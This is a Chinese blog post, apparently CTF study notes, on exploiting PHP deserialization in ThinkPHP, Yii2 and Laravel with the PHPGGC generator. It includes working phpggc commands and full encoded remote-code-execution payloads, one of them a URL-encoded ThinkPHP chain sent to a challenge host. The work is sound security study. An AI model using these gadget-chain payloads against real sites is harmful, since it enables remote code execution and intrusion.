第62天:漏洞利用-PHP反序列化&CLI框架类&PHPGGC生成器&TP&Yii&Laravel等利用

第62天:漏洞利用-PHP反序列化&CLI框架类&PHPGGC生成器&TP&Yii&Laravel等利用
Yatming的博客PHPGGC
- 项目地址:
https://github.com/ambionics/phpggc
- 搭建:Linux 直接下载下来后./phpggc -h 查看使用方法即可,比较简单
- 介绍:
- PHPGGC 是一个包含 unserialize () 有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是 frohoff 的 ysoserial 的等价物,但是对于 PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework 等。
- 在 ctf 及其他利用框架反序列化漏洞时,自己编写 poc 耗时太久,额,其实可以说自己写不出来 poc,太过复杂,这里就需要我们用到工具
环境搭建
需要linux,需要php环境8.x,我安装的时候使用php7.2不行
1 | sudo yum remove php* -y #清除残留的php |
./phpggc -l
iamthinking
常规备份文件起手:
打开文件:
可以看到传参的值是payload
使用phpggc工具:
1 | ./phpggc ThinkPHP/RCE3 system 'cat /flag' --url |
大坑,这里一定要加上81
端口
1 | http://49b3684b-f5c4-4d8b-bb06-acaf1b076570.node5.buuoj.cn:81///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3BN%3Bs%3A18%3A%22%00think%5CModel%00force%22%3BN%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3BN%3Bs%3A9%3A%22%00%2A%00suffix%22%3BN%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22key%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3BN%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3BN%3Bs%3A7%3A%22%00%2A%00json%22%3BN%3Bs%3A12%3A%22%00%2A%00jsonAssoc%22%3BN%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D |
CTFSHOW 反序列化 267 Yii2 反序列化
弱口令登录 / 源码提示泄漏
弱密码登录后访问 GET:index.php?r=site%2Fabout&view-source
发现可以看到源码,反序列化接收的参数 code
使用工具构造 payload
1
2└─# ./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6NDoiZXhlYyI7fXM6MzA6IgB5aWlcY2FjaGluZ1xBcnJheUNhY2hlAF9jYWNoZSI7YToxOntzOjE6IngiO2E6Mjp7aTowO3M6MTU6ImNwIC9mbGEqIHR0LnR4dCI7aToxO2k6MDt9fX19fX0=传入 code 参数后进行访问,GET:/index.php?r=backdoor/shell&code=
访问 /tt.txt 文件,获取到 flag
CTFSHOW 反序列化 271 Laravel 反序列化
接收 post 参数 data,并进行反序列化,使用工具生成 payload 传入即可
1 | ./phpggc Laravel/RCE2 system "id" --url |
Thinkphp
https://github.com/hughink/Thinkphp-All-vuln
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果